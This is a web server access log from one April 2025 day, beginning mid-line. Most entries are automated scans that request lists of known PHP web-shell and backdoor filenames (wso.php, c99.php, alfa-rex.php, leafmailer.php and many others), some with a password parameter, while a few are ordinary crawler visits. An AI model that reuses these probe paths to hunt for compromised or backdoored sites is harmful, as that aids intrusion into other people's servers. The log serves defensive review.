/wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 34.23.1.107 - - [15/Apr/2025:00:07:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)" 34.23.1.107 - - [15/Apr/2025:00:07:50 -0400] "GET / HTTP/1.1" 301 795 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)" 34.23.1.107 - - [15/Apr/2025:00:51:23 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)" 34.23.1.107 - - [15/Apr/2025:00:51:25 -0400] "GET / HTTP/1.1" 301 795 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)" 149.88.110.36 - - [15/Apr/2025:01:11:45 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 198.235.24.244 - - [15/Apr/2025:01:16:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 54.236.1.11 - - [15/Apr/2025:01:29:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 207.211.165.241 - - [15/Apr/2025:01:37:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 43.153.107.22 - - [15/Apr/2025:01:53:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.255.102 - - [15/Apr/2025:03:13:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2001:4ba0:cafe:c13::1 - - [15/Apr/2025:03:24:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 172.234.248.66 - - [15/Apr/2025:03:33:12 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 172.234.248.66 - - [15/Apr/2025:03:33:12 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 117.62.235.53 - - [15/Apr/2025:04:24:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.101 - - [15/Apr/2025:05:19:16 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.101 - - [15/Apr/2025:05:19:18 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 5.227.42.100 - - [15/Apr/2025:05:49:02 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 119.42.146.66 - - [15/Apr/2025:05:59:15 -0400] "GET /js/player/dmplayer/dmku/dm_rule.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 138.199.15.170 - - [15/Apr/2025:06:04:20 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 103.194.187.90 - - [15/Apr/2025:06:20:03 -0400] "GET /tools/upload_ajax.ashx?action=uploadimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 111.68.8.170 - - [15/Apr/2025:06:30:22 -0400] "GET /static/images/nopic.png HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 52.170.19.121 - - [15/Apr/2025:06:37:09 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:10 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:11 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:11 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:12 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:12 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:12 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:13 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:13 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:14 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:14 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:15 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:15 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:16 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:16 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:16 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:17 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:18 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:18 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:18 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:19 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:19 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:19 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:20 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:20 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:21 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:21 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:22 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:22 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:22 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:23 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:23 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:23 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:23 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:24 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:24 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:25 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:25 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:25 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:26 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:26 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:27 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:27 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:27 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:28 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:28 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:28 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:29 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:29 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:30 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:30 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:31 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:31 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:32 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:32 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:32 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:32 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:33 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:33 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:33 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:34 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:34 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:34 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:35 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:35 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:35 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:36 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:36 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:36 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:37 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:37 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:37 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:38 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:38 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:38 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:39 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:39 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:40 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:40 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:40 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:41 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:41 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:41 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.170.19.121 - - [15/Apr/2025:06:37:41 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 197.147.217.168 - - [15/Apr/2025:06:38:18 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:22 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:27 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:30 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:33 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:36 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:40 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:42 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:44 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:47 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:49 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:51 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:53 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:56 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:38:59 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:01 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:03 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:05 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:08 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:11 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:13 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:16 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:18 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:20 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:24 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:26 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:29 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:32 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:35 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:37 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:39 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:41 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:44 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:45 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:48 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:50 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:53 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:56 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:39:58 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:01 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:03 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:05 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:08 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:11 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:14 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:16 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:20 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:22 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:25 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:26 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:29 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:30 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:35 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:37 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:40 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:42 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:06:40:44 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 43.166.239.145 - - [15/Apr/2025:07:03:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [15/Apr/2025:07:08:21 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:25 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:30 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:35 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:39 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:44 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:48 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:51 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:52 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:54 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 